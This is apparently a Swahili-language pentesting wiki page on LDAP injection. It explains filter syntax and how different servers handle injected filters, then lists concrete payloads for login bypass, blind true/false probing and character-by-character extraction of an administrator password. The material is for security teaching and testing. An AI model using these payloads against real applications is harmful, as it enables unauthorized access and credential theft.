Kuingiza LDAP
LDAP
Ikiwa unataka kujua ni nini LDAP, tembelea ukurasa ufuatao:
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
Kuingiza LDAP ni shambulio linalolenga programu za wavuti ambazo hujenga taarifa za LDAP kutoka kwa mwingiliano wa mtumiaji. Hutokea wakati programu haifanyi usafi ipasavyo wa mwingiliano, kuruhusu wachomaji wa kudhibiti taarifa za LDAP kupitia proksi ya ndani, ikisababisha ufikiaji usioruhusiwa au upangaji wa data.

Kichujio = ( filtercomp )
Filtercomp = na / au / si / kitu
Na = & filterlist
Au = |filterlist
Si = ! filter
Filterlist = 1*filter
Kitu= rahisi / kujitokeza / kipande
Rahisi = sifa filtertype kauli
Filtertype = '=' / '~=' / '>=' / '<='
Kujitokeza = sifa = *
Kipande = sifa ”=” [mwanzo] * [mwisho]
Mwanzo = kauli
Mwisho = kauli
(&) = Halisi KWELI
(|) = Halisi UONGO
Kwa mfano:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
Unaweza kupata ufikiaji kwenye database, na hii inaweza kuwa na habari ya aina nyingi tofauti.
OpenLDAP: Ikiwa filta 2 zinawasili, inatekeleza tu ya kwanza.
ADAM au Microsoft LDS: Pamoja na filta 2 hutoa kosa.
SunOne Directory Server 5.0: Inatekeleza filta zote mbili.
Ni muhimu sana kutuma filta na muundo sahihi au kosa litatupwa. Ni bora kutuma filta moja tu.
Filta lazima ianze na: & au |
Mfano: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Kisha: (&(objectClass=*)(ObjectClass=*)) itakuwa filta ya kwanza (ile inayotekelezwa).
Kupuuza Kuingia
LDAP inasaidia miundo kadhaa ya kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Kwa hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahashishwa.
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Orodha
Kuingiza kipofu cha LDAP
Unaweza kulazimisha majibu ya Uongo au Kweli kuchunguza ikiwa kuna data inayorudi na kuthibitisha uwezekano wa Kuingiza kipofu cha LDAP:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Poteza data
Unaweza kurudia herufi za ascii, tarakimu na alama:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...

Gundua uga halali za LDAP
Vitu vya LDAP kwa kawaida vina sifa kadhaa ambazo zinaweza kutumika kutunza habari. Unaweza kujaribu kufanya nguvu zote kwenye hizo ili kutoa habari hiyo. Unaweza kupata orodha ya sifa za LDAP za kawaida hapa.
